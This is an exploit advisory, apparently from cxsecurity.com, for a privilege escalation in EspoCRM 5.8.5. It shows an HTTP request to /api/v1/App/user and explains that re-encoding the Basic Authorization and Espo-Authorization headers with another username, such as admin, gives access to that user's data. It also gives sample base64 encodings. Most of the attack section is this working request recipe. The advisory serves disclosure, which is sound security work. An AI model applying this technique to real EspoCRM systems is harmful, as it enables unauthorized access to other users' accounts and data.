EspoCRM 5.8.5 Privilege Escalation

2020.04.26
Credit: Besim Altinok
Risk: Medium
Local: Yes
Remote: No
CVE: N/A
CWE: CWE-264

# Exploit Title: EspoCRM 5.8.5 - Privilege Escalation # Author: Besim ALTINOK # Vendor Homepage: https://www.espocrm.com # Software Link: https://www.espocrm.com/downloads/EspoCRM-5.8.5.zip # Version: v5.8.5 # Tested on: Xampp # Credit: İsmail BOZKURT ------------- Details: -------------------------------------------- 1- When we sent a request to the /api/v1/App/user, we can see user details --- First Request: --------------------------- GET /api/v1/App/user HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 ************************* Authorization: Basic ************************************* Espo-Authorization: ************************************* Espo-Authorization-By-Token: true X-Requested-With: XMLHttpRequest DNT: 1 Connection: close Cookie: auth-token-secret=cdc7f7*********************377; auth-username=user1; auth-token=3a874a********************************48 ---- 2- When we decode Basic Authorization and Espo-Authorization and change the value with another username (like admin) in the first request, we can see other user information and access like BOSS ---------- 3- Some Examples and encode technique - BASE64: First type: dXNlcjE6MQ== (user1:1) Second type: user1:MzNmYzYwZDQ1ZDI2YWNhODYxZTZlYjdiMDgwMjk4TkRn (user1:pass)


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2020, cxsecurity.com

 

Back to Top